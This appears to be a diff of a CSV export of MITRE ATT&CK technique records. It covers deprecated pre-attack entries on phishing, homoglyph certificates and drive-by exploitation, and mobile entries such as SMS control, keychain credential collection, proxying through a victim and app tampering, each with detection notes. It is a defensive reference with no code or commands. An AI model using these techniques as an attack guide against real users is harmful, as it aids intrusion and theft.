alert! Beware the 'PaypaI' scam. Retrieved March 2, 2017."", 'url': 'https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'establish-&-maintain-infrastructure'}]",1.0,,https://attack.mitre.org/techniques/T1337,mitre-pre-attack,T1337,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,SSL certificate acquisition for domain,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1337). - -Certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Acquiring a certificate for a domain name similar to one that is expected to be trusted may allow an adversary to trick a user in to trusting the domain (e.g., vvachovia instead of [Wachovia](https://www.wellsfargo.com/about/corporate/wachovia) -- homoglyphs). (Citation: SubvertSSL) (Citation: PaypalScam)",attack-pattern--e34b9ca1-8778-41a3-bba5-8edaab4076dc,attack-pattern,['establish-&-maintain-infrastructure'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1114,SSL certificates are readily available at little to no cost.,Yes,Defender can monitor for domains similar to popular sites (possibly leverage [https://www.alexa.com Alexa] top ''N'' lists as starting point).,Yes, -"[{'source_name': 'mitre-pre-attack', 'external_id': 'T1369', 'url': 'https://attack.mitre.org/techniques/T1369'}, {'description': 'Nick Johnston. (2014, March 13). Google Docs Users Targeted by Sophisticated Phishing Scam. Retrieved March 29, 2017.', 'source_name': 'GoogleDrive Phishing'}, {'description': 'Bob Griffin. (2015, May 16). THE ON-GOING THREAT OF SOCIAL ENGINEERING. Retrieved March 9, 2017.', 'source_name': 'RSASEThreat'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'launch'}]",1.0,False,https://attack.mitre.org/techniques/T1369,mitre-pre-attack,T1369,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Spear phishing messages with malicious links,"**This technique has been deprecated. Please use [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002).** - -Emails with malicious links are designed to get a user to click on the link in order to deliver malware payloads. (Citation: GoogleDrive Phishing) (Citation: RSASEThreat)",attack-pattern--489a7797-01c3-4706-8cd1-ec56a9db3adc,attack-pattern,['launch'],2020-03-30T14:25:58.783Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1146,"Sending emails is trivial and expected. The adversary needs to ensure links don't get tampered, removed, or flagged as a previously black-listed site.",Yes,"Defenders can implement mechanisms to analyze links and identify levels of concerns. However, the adversary has the advantage of creating new links or finding ways to obfuscate the link so that common detection lists can not identify it. Detection of a malicious link could be identified once the file has been downloaded.",Yes, -"[{'source_name': 'mitre-pre-attack', 'external_id': 'T1366', 'url': 'https://attack.mitre.org/techniques/T1366'}, {'description': 'Mandiant. (n.d.). APT1: Exposing One of China’s Cyber Espionage Units. Retrieved March 5, 2017.', 'source_name': 'APT1'}, {'description': 'Bart Blaze. (2016, November 20). Nemucod downloader spreading via Facebook. Retrieved March 28, 2017.', 'source_name': 'Nemucod Facebook'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'launch'}]",1.0,False,https://attack.mitre.org/techniques/T1366,mitre-pre-attack,T1366,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Targeted social media phishing,"**This technique has been deprecated. Please use [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003).** - -Sending messages through social media platforms to individuals identified as a target. These messages may include malicious attachments or links to malicious sites or they may be designed to establish communications for future actions. (Citation: APT1) (Citation: Nemucod Facebook)",attack-pattern--eb517589-eefc-480e-b8e3-7a8b1066f6f1,attack-pattern,['launch'],2020-03-30T14:27:43.972Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1143,Sending messages to individuals identified as a target follows normal tradecraft for using social media.,Yes,Extremely hard to identify (in the launch phase) what message via social media is hostile versus what is not. Increased use of encrypted communications increases the difficulty average defender's have in detecting use of this technique.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1359', 'external_id': 'T1359'}, {'source_name': 'MalwareQAZirtest', 'description': 'Damballa Day Before Zero Blog. (2009, December 17). Malware QA and Exploit Testing Services – Virtest.com. Retrieved March 9, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'test-capabilities'}]",1.0,,https://attack.mitre.org/techniques/T1359,mitre-pre-attack,T1359,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Test malware to evade detection,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1359). - -An adversary can run their code on systems with cyber security protections, such as antivirus products, in place to see if their code is detected. They can also test their malware on freely available public services. (Citation: MalwareQAZirtest)",attack-pattern--8b57a8f1-9cbc-4b95-b162-cc2a1add94f2,attack-pattern,['test-capabilities'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1136,Adversary has the ability to procure products and not have reporting return to vendors or can choose to use freely available services,Yes,Adversary controls the testing and can ensure data does not leak with proper OPSEC on testing.,No, -"[{'source_name': 'mitre-pre-attack', 'external_id': 'T1372', 'url': 'https://attack.mitre.org/techniques/T1372'}, {'description': ""Torsten George. (2014, October 15). The Internet's Big Threat: Drive-by Attacks. Retrieved March 7, 2017."", 'source_name': 'GeorgeDriveBy'}, {'description': 'Lee Bell. (2013, January 8). Drive-by exploits are the top web security threat, says ENISA. Retrieved March 7, 2017.', 'source_name': 'BellDriveBy'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'launch'}]",1.0,False,https://attack.mitre.org/techniques/T1372,mitre-pre-attack,T1372,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Unconditional client-side exploitation/Injected Website/Driveby,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -A technique used to compromise victims wherein the victims visit a compromised website that redirects their browser to a malicious web site, such as an exploit kit's landing page. The exploit kit landing page will probe the victim's operating system, web browser, or other software to find an exploitable vulnerability to infect the victim. (Citation: GeorgeDriveBy) (Citation: BellDriveBy)",attack-pattern--58d0b955-ae3d-424a-a537-2804dab38793,attack-pattern,['launch'],2020-03-30T14:29:19.081Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1149,"Placing an exploit on a public web site for driveby types of delivery is not impossible. However, gaining access to a web site with high enough traffic to meet specific objectives could be the challenge.",Yes,"With the use of malware detonation chambers (e.g., for web or email traffic), this improves detection. Encryption and other techniques reduces the efficacy of these defenses.",Partial, -"[{'source_name': 'mitre-mobile-attack', 'external_id': 'T1605', 'url': 'https://attack.mitre.org/techniques/T1605'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'execution'}]",1.0,False,https://attack.mitre.org/techniques/T1605,mitre-mobile-attack,T1605,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Command-Line Interface,"Adversaries may use built-in command-line interfaces to interact with the device and execute commands. Android provides a bash shell that can be interacted with over the Android Debug Bridge (ADB) or programmatically using Java’s `Runtime` package. On iOS, adversaries can interact with the underlying runtime shell if the device has been jailbroken. - -If the device has been rooted or jailbroken, adversaries may locate and invoke a superuser binary to elevate their privileges and interact with the system as the root user. This dangerous level of permissions allows the adversary to run special commands and modify protected system files.",attack-pattern--e083305c-49e7-4c87-aae8-9689213bffbe,attack-pattern,['execution'],2020-12-17T17:31:52.802Z,2020-12-16T20:16:07.673Z,"Command-Line Interface execution can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",,,,,"['Android', 'iOS']",,,,,,,,,,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'external_id': 'T1604', 'url': 'https://attack.mitre.org/techniques/T1604'}, {'source_name': 'Threat Fabric Exobot', 'url': 'https://www.threatfabric.com/blogs/exobot_android_banking_trojan_on_the_rise.html', 'description': 'Threat Fabric. (2017, February). Exobot - Android banking Trojan on the rise. Retrieved October 29, 2020.'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]",1.0,False,https://attack.mitre.org/techniques/T1604,mitre-mobile-attack,T1604,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Proxy Through Victim,"Adversaries may use a compromised device as a proxy server to the Internet. By utilizing a proxy, adversaries hide the true IP address of their C2 server and associated infrastructure from the destination of the network traffic. This masquerades an adversary’s traffic as legitimate traffic originating from the compromised device, which can evade IP-based restrictions and alerts on certain services, such as bank accounts and social media websites.(Citation: Threat Fabric Exobot) - -The most common type of proxy is a SOCKS proxy. It can typically be implemented using standard OS-level APIs and 3rd party libraries with no indication to the user. On Android, adversaries can use the `Proxy` API to programmatically establish a SOCKS proxy connection, or lower-level APIs to interact directly with raw sockets.",attack-pattern--5ca3c7ec-55b2-4587-9376-cf6c96f8047a,attack-pattern,['defense-evasion'],2020-12-04T20:30:31.513Z,2020-11-30T14:26:07.728Z,"Enterprises may be able to detect anomalous traffic originating from mobile devices, which could indicate compromise.",,,,,['Android'],,,,,,,,,,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'external_id': 'T1603', 'url': 'https://attack.mitre.org/techniques/T1603'}, {'source_name': 'Android WorkManager', 'url': 'https://developer.android.com/topic/libraries/architecture/workmanager', 'description': 'Google. (n.d.). Schedule tasks with WorkManager. Retrieved November 4, 2020.'}, {'source_name': 'Apple NSBackgroundActivityScheduler', 'url': 'https://developer.apple.com/documentation/foundation/nsbackgroundactivityscheduler', 'description': 'Apple. (n.d.). NSBackgroundActivityScheduler. Retrieved November 4, 2020.'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'execution'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'persistence'}]",1.0,False,https://attack.mitre.org/techniques/T1603,mitre-mobile-attack,T1603,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Scheduled Task/Job,"Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. On Android and iOS, APIs and libraries exist to facilitate scheduling tasks to execute at a specified date, time, or interval. +The most common type of proxy is a SOCKS proxy. It can typically be implemented using standard OS-level APIs and 3rd party libraries with no indication to the user. On Android, adversaries can use the `Proxy` API to programmatically establish a SOCKS proxy connection, or lower-level APIs to interact directly with raw sockets.",['defense-evasion'],https://attack.mitre.org/techniques/T1604,mitre-mobile-attack,T1604,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Enterprises may be able to detect anomalous traffic originating from mobile devices, which could indicate compromise.",False,,['Android'],,,,,,,,['Post-Adversary Device Access'], +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'execution'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1603', 'external_id': 'T1603'}, {'source_name': 'Android WorkManager', 'description': 'Google. (n.d.). Schedule tasks with WorkManager. Retrieved November 4, 2020.', 'url': 'https://developer.android.com/topic/libraries/architecture/workmanager'}, {'source_name': 'Apple NSBackgroundActivityScheduler', 'description': 'Apple. (n.d.). NSBackgroundActivityScheduler. Retrieved November 4, 2020.', 'url': 'https://developer.apple.com/documentation/foundation/nsbackgroundactivityscheduler'}]",1.0,attack-pattern,attack-pattern--00290ac5-551e-44aa-bbd8-c4b913488a6d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-11-04T16:43:31.619Z,2020-11-04T19:45:38.144Z,Scheduled Task/Job,"Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. On Android and iOS, APIs and libraries exist to facilitate scheduling tasks to execute at a specified date, time, or interval. On Android, the `WorkManager` API allows asynchronous tasks to be scheduled with the system. `WorkManager` was introduced to unify task scheduling on Android, using `JobScheduler`, `GcmNetworkManager`, and `AlarmManager` internally. `WorkManager` offers a lot of flexibility for scheduling, including periodically, one time, or constraint-based (e.g. only when the device is charging).(Citation: Android WorkManager) -On iOS, the `NSBackgroundActivityScheduler` API allows asynchronous tasks to be scheduled with the system. The tasks can be scheduled to be repeating or non-repeating, however, the system chooses when the tasks will be executed. The app can choose the interval for repeating tasks, or the delay between scheduling and execution for one-time tasks.(Citation: Apple NSBackgroundActivityScheduler)",attack-pattern--00290ac5-551e-44aa-bbd8-c4b913488a6d,attack-pattern,"['execution', 'persistence']",2020-11-04T19:45:38.144Z,2020-11-04T16:43:31.619Z,"Scheduling tasks/jobs can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",,"['Lorin Wu, Trend Micro']",,,"['Android', 'iOS']",,,,,,,,,,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'external_id': 'T1582', 'url': 'https://attack.mitre.org/techniques/T1582'}, {'external_id': 'APP-16', 'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-16.html'}, {'external_id': 'CEL-41', 'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-41.html'}, {'source_name': 'SMS KitKat', 'url': 'https://android-developers.googleblog.com/2013/10/getting-your-sms-apps-ready-for-kitkat.html', 'description': 'S.Main, D. Braun. (2013, October 14). Getting Your SMS Apps Ready for KitKat. Retrieved September 11, 2020.'}, {'source_name': 'Android SmsProvider', 'url': 'https://android.googlesource.com/platform/packages/providers/TelephonyProvider/+/7e7c274/src/com/android/providers/telephony/SmsProvider.java', 'description': 'Google. (n.d.). SmsProvider.java. Retrieved September 11, 2020.'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}]",1.0,False,https://attack.mitre.org/techniques/T1582,mitre-mobile-attack,T1582,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,SMS Control,"Adversaries may delete, alter, or send SMS messages without user authorization. This could be used to hide C2 SMS messages, spread malware, or various external effects. +On iOS, the `NSBackgroundActivityScheduler` API allows asynchronous tasks to be scheduled with the system. The tasks can be scheduled to be repeating or non-repeating, however, the system chooses when the tasks will be executed. The app can choose the interval for repeating tasks, or the delay between scheduling and execution for one-time tasks.(Citation: Apple NSBackgroundActivityScheduler)","['execution', 'persistence']",https://attack.mitre.org/techniques/T1603,mitre-mobile-attack,T1603,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Lorin Wu, Trend Micro']",,,"Scheduling tasks/jobs can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",False,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'], +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1582', 'external_id': 'T1582'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-16.html', 'external_id': 'APP-16'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-41.html', 'external_id': 'CEL-41'}, {'source_name': 'SMS KitKat', 'description': 'S.Main, D. Braun. (2013, October 14). Getting Your SMS Apps Ready for KitKat. Retrieved September 11, 2020.', 'url': 'https://android-developers.googleblog.com/2013/10/getting-your-sms-apps-ready-for-kitkat.html'}, {'source_name': 'Android SmsProvider', 'description': 'Google. (n.d.). SmsProvider.java. Retrieved September 11, 2020.', 'url': 'https://android.googlesource.com/platform/packages/providers/TelephonyProvider/+/7e7c274/src/com/android/providers/telephony/SmsProvider.java'}]",1.0,attack-pattern,attack-pattern--b327a9c0-e709-495c-aa6e-00b042136e2b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-09-11T15:14:33.730Z,2020-10-22T17:04:15.578Z,SMS Control,"Adversaries may delete, alter, or send SMS messages without user authorization. This could be used to hide C2 SMS messages, spread malware, or various external effects. -This can be accomplished by requesting the `RECEIVE_SMS` or `SEND_SMS` permissions depending on what the malware is attempting to do. If the app is set as the default SMS handler on the device, the `SMS_DELIVER` broadcast intent can be registered, which allows the app to write to the SMS content provider. The content provider directly modifies the messaging database on the device, which could allow malicious applications with this ability to insert, modify, or delete arbitrary messages on the device.(Citation: SMS KitKat)(Citation: Android SmsProvider)",attack-pattern--b327a9c0-e709-495c-aa6e-00b042136e2b,attack-pattern,['impact'],2020-10-22T17:04:15.578Z,2020-09-11T15:14:33.730Z,Users can view the default SMS handler in system settings.,,,,,['Android'],,,,,,,,,,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'external_id': 'T1581', 'url': 'https://attack.mitre.org/techniques/T1581'}, {'source_name': 'Lookout eSurv', 'url': 'https://blog.lookout.com/esurv-research', 'description': 'A. Bauer. (2019, April 8). Lookout discovers phishing sites distributing new iOS and Android surveillanceware. Retrieved September 11, 2020.'}, {'source_name': 'Android Geofencing API', 'url': 'https://developer.android.com/training/location/geofencing', 'description': 'Google. (n.d.). Create and monitor geofences. Retrieved September 11, 2020.'}, {'source_name': 'Apple Location Services', 'url': 'https://developer.apple.com/documentation/corelocation/requesting_authorization_for_location_services', 'description': 'Apple. (n.d.). Requesting Authorization for Location Services. Retrieved September 11, 2020.'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]",1.0,False,https://attack.mitre.org/techniques/T1581,mitre-mobile-attack,T1581,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Geofencing,"Adversaries may use a device’s geographical location to limit certain malicious behaviors. For example, malware operators may limit the distribution of a second stage payload to certain geographic regions.(Citation: Lookout eSurv) +This can be accomplished by requesting the `RECEIVE_SMS` or `SEND_SMS` permissions depending on what the malware is attempting to do. If the app is set as the default SMS handler on the device, the `SMS_DELIVER` broadcast intent can be registered, which allows the app to write to the SMS content provider. The content provider directly modifies the messaging database on the device, which could allow malicious applications with this ability to insert, modify, or delete arbitrary messages on the device.(Citation: SMS KitKat)(Citation: Android SmsProvider)",['impact'],https://attack.mitre.org/techniques/T1582,mitre-mobile-attack,T1582,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,Users can view the default SMS handler in system settings.,False,,['Android'],,,,,,,,['Post-Adversary Device Access'], +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1581', 'external_id': 'T1581'}, {'source_name': 'Lookout eSurv', 'description': 'A. Bauer. (2019, April 8). Lookout discovers phishing sites distributing new iOS and Android surveillanceware. Retrieved September 11, 2020.', 'url': 'https://blog.lookout.com/esurv-research'}, {'source_name': 'Android Geofencing API', 'description': 'Google. (n.d.). Create and monitor geofences. Retrieved September 11, 2020.', 'url': 'https://developer.android.com/training/location/geofencing'}, {'source_name': 'Apple Location Services', 'description': 'Apple. (n.d.). Requesting Authorization for Location Services. Retrieved September 11, 2020.', 'url': 'https://developer.apple.com/documentation/corelocation/requesting_authorization_for_location_services'}]",1.0,attack-pattern,attack-pattern--8197f026-64da-4700-93b9-b55ba55f3b31,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-09-11T15:04:14.532Z,2020-10-01T12:43:41.494Z,Geofencing,"Adversaries may use a device’s geographical location to limit certain malicious behaviors. For example, malware operators may limit the distribution of a second stage payload to certain geographic regions.(Citation: Lookout eSurv) [Geofencing](https://attack.mitre.org/techniques/T1581) is accomplished by persuading the user to grant the application permission to access location services. The application can then collect, process, and exfiltrate the device’s location to perform location-based actions, such as ceasing malicious behavior or showing region-specific advertisements. @@ -4046,93 +3673,76 @@ One method to accomplish [Geofencing](https://attack.mitre.org/techniques/T1581) Similarly, on iOS, developers can use built-in APIs to setup and execute geofencing. Depending on the use case, the app will either need to call `requestWhenInUseAuthorization()` or `requestAlwaysAuthorization()`, depending on when access to the location services is required. Similar to Android, users also have the option to limit when the application can access the device’s location, including one-time use and only when the application is running in the foreground.(Citation: Apple Location Services) -[Geofencing](https://attack.mitre.org/techniques/T1581) can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. For example, location data could be used to limit malware spread and/or capabilities, which could also potentially evade application analysis environments (ex: malware analysis outside of the target geographic area). Other malicious usages could include showing language-specific [Input Prompt](https://attack.mitre.org/techniques/T1411)s and/or advertisements.",attack-pattern--8197f026-64da-4700-93b9-b55ba55f3b31,attack-pattern,['defense-evasion'],2020-10-01T12:43:41.494Z,2020-09-11T15:04:14.532Z,"Users can review which applications have location permissions in the operating system’s settings menu. On Android 10 and later, the system shows a notification to the user when an app has been accessing device location in the background.",,,,,"['Android', 'iOS']",,,,,,,,,,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'external_id': 'T1579', 'url': 'https://attack.mitre.org/techniques/T1579'}, {'external_id': 'AUT-11', 'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-11.html'}, {'source_name': 'Apple Keychain Services', 'url': 'https://developer.apple.com/documentation/security/keychain_services', 'description': 'Apple, Inc.. (n.d.). Keychain Services. Retrieved June 24, 2020.'}, {'source_name': 'Elcomsoft Decrypt Keychain', 'url': 'https://blog.elcomsoft.com/2018/12/six-ways-to-decrypt-iphone-passwords-from-the-keychain/', 'description': 'V. Katalov. (2018, December 18). Six Ways to Decrypt iPhone Passwords from the Keychain. Retrieved June 24, 2020.'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}]",1.0,False,https://attack.mitre.org/techniques/T1579,mitre-mobile-attack,T1579,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Keychain,"Adversaries may collect the keychain storage data from an iOS device to acquire credentials. Keychains are the built-in way for iOS to keep track of users' passwords and credentials for many services and features such as Wi-Fi passwords, websites, secure notes, certificates, private keys, and VPN credentials. +[Geofencing](https://attack.mitre.org/techniques/T1581) can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. For example, location data could be used to limit malware spread and/or capabilities, which could also potentially evade application analysis environments (ex: malware analysis outside of the target geographic area). Other malicious usages could include showing language-specific [Input Prompt](https://attack.mitre.org/techniques/T1411)s and/or advertisements.",['defense-evasion'],https://attack.mitre.org/techniques/T1581,mitre-mobile-attack,T1581,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Users can review which applications have location permissions in the operating system’s settings menu. On Android 10 and later, the system shows a notification to the user when an app has been accessing device location in the background.",False,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'], +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1579', 'external_id': 'T1579'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-11.html', 'external_id': 'AUT-11'}, {'source_name': 'Apple Keychain Services', 'description': 'Apple, Inc.. (n.d.). Keychain Services. Retrieved June 24, 2020.', 'url': 'https://developer.apple.com/documentation/security/keychain_services'}, {'source_name': 'Elcomsoft Decrypt Keychain', 'description': 'V. Katalov. (2018, December 18). Six Ways to Decrypt iPhone Passwords from the Keychain. Retrieved June 24, 2020.', 'url': 'https://blog.elcomsoft.com/2018/12/six-ways-to-decrypt-iphone-passwords-from-the-keychain/'}]",1.0,attack-pattern,attack-pattern--27f483c6-6666-44fa-8532-ffd5fc7dab38,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-06-24T17:33:49.778Z,2020-06-24T19:02:46.237Z,Keychain,"Adversaries may collect the keychain storage data from an iOS device to acquire credentials. Keychains are the built-in way for iOS to keep track of users' passwords and credentials for many services and features such as Wi-Fi passwords, websites, secure notes, certificates, private keys, and VPN credentials. -On the device, the keychain database is stored outside of application sandboxes to prevent unauthorized access to the raw data. Standard iOS APIs allow applications access to their own keychain contained within the database. By utilizing a privilege escalation exploit or existing root access, an adversary can access the entire encrypted database.(Citation: Apple Keychain Services)(Citation: Elcomsoft Decrypt Keychain)",attack-pattern--27f483c6-6666-44fa-8532-ffd5fc7dab38,attack-pattern,['credential-access'],2020-06-24T19:02:46.237Z,2020-06-24T17:33:49.778Z,Mobile security products can potentially detect jailbroken devices and perform further actions as necessary.,,,,,['iOS'],,,,,,,,,,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'external_id': 'T1577', 'url': 'https://attack.mitre.org/techniques/T1577'}, {'source_name': 'Guardsquare Janus', 'url': 'https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures', 'description': 'Guarsquare. (2017, November 13). New Android vulnerability allows attackers to modify apps without affecting their signatures. Retrieved May 7, 2020.'}, {'source_name': 'CheckPoint Agent Smith', 'url': 'https://research.checkpoint.com/2019/agent-smith-a-new-species-of-mobile-malware/', 'description': 'A. Hazum, F. He, I. Marom, B. Melnykov, A. Polkovnichenko. (2019, July 10). Agent Smith: A New Species of Mobile Malware. Retrieved May 7, 2020.'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'persistence'}]",1.0,False,https://attack.mitre.org/techniques/T1577,mitre-mobile-attack,T1577,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Compromise Application Executable,"Adversaries may modify applications installed on a device to establish persistent access to a victim. These malicious modifications can be used to make legitimate applications carry out adversary tasks when these applications are in use. +On the device, the keychain database is stored outside of application sandboxes to prevent unauthorized access to the raw data. Standard iOS APIs allow applications access to their own keychain contained within the database. By utilizing a privilege escalation exploit or existing root access, an adversary can access the entire encrypted database.(Citation: Apple Keychain Services)(Citation: Elcomsoft Decrypt Keychain)",['credential-access'],https://attack.mitre.org/techniques/T1579,mitre-mobile-attack,T1579,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,Mobile security products can potentially detect jailbroken devices and perform further actions as necessary.,False,,['iOS'],,,,,,,,['Post-Adversary Device Access'], +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1577', 'external_id': 'T1577'}, {'source_name': 'Guardsquare Janus', 'description': 'Guarsquare. (2017, November 13). New Android vulnerability allows attackers to modify apps without affecting their signatures. Retrieved May 7, 2020.', 'url': 'https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures'}, {'source_name': 'CheckPoint Agent Smith', 'description': 'A. Hazum, F. He, I. Marom, B. Melnykov, A. Polkovnichenko. (2019, July 10). Agent Smith: A New Species of Mobile Malware. Retrieved May 7, 2020.', 'url': 'https://research.checkpoint.com/2019/agent-smith-a-new-species-of-mobile-malware/'}]",1.0,attack-pattern,attack-pattern--d3bc5020-f6a2-41c0-8ccb-5e563101b60c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-07T15:24:49.068Z,2020-05-27T13:23:34.159Z,Compromise Application Executable,"Adversaries may modify applications installed on a device to establish persistent access to a victim. These malicious modifications can be used to make legitimate applications carry out adversary tasks when these applications are in use. There are multiple ways an adversary can inject malicious code into applications. One method is by taking advantages of device vulnerabilities, the most well-known being Janus, an Android vulnerability that allows adversaries to add extra bytes to APK (application) and DEX (executable) files without affecting the file's signature. By being able to add arbitrary bytes to valid applications, attackers can seamlessly inject code into genuine executables without the user's knowledge.(Citation: Guardsquare Janus) Adversaries may also rebuild applications to include malicious modifications. This can be achieved by decompiling the genuine application, merging it with the malicious code, and recompiling it.(Citation: CheckPoint Agent Smith) -Adversaries may also take action to conceal modifications to application executables and bypass user consent. These actions include altering modifications to appear as an update or exploiting vulnerabilities that allow activities of the malicious application to run inside a system application.(Citation: CheckPoint Agent Smith)",attack-pattern--d3bc5020-f6a2-41c0-8ccb-5e563101b60c,attack-pattern,['persistence'],2020-05-27T13:23:34.159Z,2020-05-07T15:24:49.068Z,This behavior is seamless to the user and is typically undetectable.,,,,,['Android'],,,,,,,,,,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'external_id': 'T1576', 'url': 'https://attack.mitre.org/techniques/T1576'}, {'external_id': 'APP-43', 'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-43.html'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 